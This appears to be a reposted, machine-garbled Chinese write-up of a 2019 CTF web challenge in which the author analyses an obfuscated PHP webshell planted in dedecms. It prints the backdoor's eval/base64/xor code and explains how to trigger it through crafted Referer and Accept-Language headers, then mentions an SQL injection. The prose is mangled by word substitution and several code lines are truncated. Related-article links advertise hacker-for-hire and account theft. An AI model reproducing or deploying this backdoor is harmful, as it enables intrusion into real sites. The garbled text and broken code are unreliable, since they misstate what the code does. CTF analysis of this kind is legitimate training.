2019 神盾杯 final Writeup(一)-黑客接单平台

访客6年前黑客工具1346
队友去参加了2019神盾杯上海市 *** 安全比赛,线下有4道web题,就跟队友要来了源码进行了一波剖析,因为标题较多,分为2篇编撰,本篇先写dedecms和另一个命题人手写的cms。 web1 预置简略后门查杀 翻开源码发现是dedecms,运用干流webshell查杀东西得到如下成果: 因为静态剖析具有较高的误报率,所以我先挑选了diff一下: 发现后门文件为include/guess.class.php,事实证明仍是D盾nb~ 内置混杂后门 咱们先去检查文件:include/guess.class.php。 发现显着后门: W$d")W;@sessionW_destrWoy();}}}}'; $Y='pWWosW($p,$h)===0)W{$s[$i]="";W$pW=$ss(W$p,3);W}if(arrayW_key_exWists(W$i,$s))W{W'; $t='$m);if($q&W&W$m){@sessioWn_stWart();W$s=W&$_SESSIOWN;$ss="substrW";W$sl="stWrtoloW'; $X=str_replace('W','',$R.$W.$F.$a.$s.$t.$G.$I.$Y.$p.$N.$n.$A); $w=$k('',$X);$w(); ?> 定位到最终一句: $w=$k('',$X);$w(); 发现$k为create_function,那么$X的值就至关重要,咱们能够得到其值为: $d"); @session_destroy(); } } } } 看到恶意代码方位: if($e){ $k='3aae0208'; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("$d"); @session_destroy(); } 要害参数为$e和$s,咱们盯梢这两个值,发现e为$s[$i]中$f的方位: $e=strpos($s[$i],$f); 而$s[$i]与$p有关,咱们持续跟进$p,$s,$i的赋值: for($z=1;$z 简略发现$p的值与$m有关。而$i与$m也与$m有关: $s=&$_SESSION; $i=$m[1][0].$m[1][1]; 那么$m与HTTP_ACCEPT_LANGUAGE和如下正则有关: $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; .... preg_match_all("/([w])[w-]+(?:;q=0.([d]))?,?/",$ra,$m); 简略测验: 发现m[2]的值由q=0.几操控,而m[1]与每组首写字母有关。 回到如下拼接: for($z=1;$z 剩余只需操控$q的值即可: $rr=@$r["HTTP_REFERER"]; $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); 咱们注意到$q与HTTP_REFERER的参数有关,咱们测验一下: 那么咱们能够经过操控数组p的值,和数组$m的值,来操控$p的值,例如: // $rr=@$r["HTTP_REFERER"]; $rr = "https://skysec.top/?exp=skycool"; // $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; $ra = "zh-CN,zh;q=0.0,en;q=0.1"; 那么此刻p的值为skycool。 紧接着是过滤: if(strpos($p,$h)===0){ $s[$i]=""; $p=substr($p,3); } 那么咱们盯梢$h,发现为salt: $i=$m[1][0].$m[1][1]; $h=strtolower(substr(md5($i.$kh),0,3)); 所以咱们很简略猜测$h的值,只需要在咱们的exp前拼接上$h的值即可。 那么现在只剩最终的exp,回到最开端的中心代码: $s[$i].=$p; $e=strpos($s[$i],$f); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),substr($s[$i],0,$e))),$k))); 那么能够经过$p操控`$s[$i]`的值,一起为了彻底截取,咱们能够相似如下结构exp: $exp = $h.$payload.$f; 这样即可彻底截取到咱们的$payload。 然后是加密函数x: function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i 简略发现这是xor加密,能够用来加密也可用来解密,直接用即可。 那么编写exp如下: 能够成功履行。 sql注入 经过diff能够发现代码注释了一段内容: 但这实践没有效果,是用来去除Power by dedecms的。可是另一处修正直接导致了sql注入[1][2]黑客接单网

相关文章

运用WinDbg调试Windows内核(二)

上篇文章介绍了windbg调试内核的根本环境设置以及一些根底调试技巧,这篇文章介绍一些windbg的高档调试技巧。 0×01运用断点盯梢数据 断点一般用在暂停某个咱们感兴趣的履行代码,例如当某个函数被...

黑客接单还要签保密协议_找bug黑客

deb http://dk.archive.ubuntu.com/ubuntu/ trusty main universe第二个是APP及网站注册,这个曾经的话或许会答应有用户名或邮箱注册,可是有些当...

24小时接单的黑客好友恢复_如何找黑客盗号

例如,你能够运用Int8类型的数组,将其分化为8位字节。 (二) 运用文件格局的约束政企单位能够经过事务体系无法访问、电脑桌面被篡改、文件后缀被篡改等方法判别是否感染了勒索病毒。 假如现已感染了勒索病...

我老公赌博进看守所多天了,给我写信叫我一切等

不支持的系统包括Windows 2003和Windows XP,如果你使用的是不支持的版本,则解决此漏洞的最佳方法是升级到最新版本的Windows。 即便如此,微软还是在KB4500705中为这些不支...

怎么运用JavaScript混杂来逃避AV

介绍 前不久,Cybaze-Yoroi ZLAB的安全研究人员发现了一个值得深化研究的可疑JavaScript文件:这个歹意JavaScript文件利用了多种技能来逃避一切AV产品的检测,在闻名的V...

跟踪器软件,怎么找黑客一个网站,找黑客扣3687474

15假如绑架了体系常见.Net程序如powershell.exe的发动进程,向其增加payload,就能完成一种被迫的后门触发机制。 [1][2]黑客接单渠道一、前语Level Goal为了破解同源战...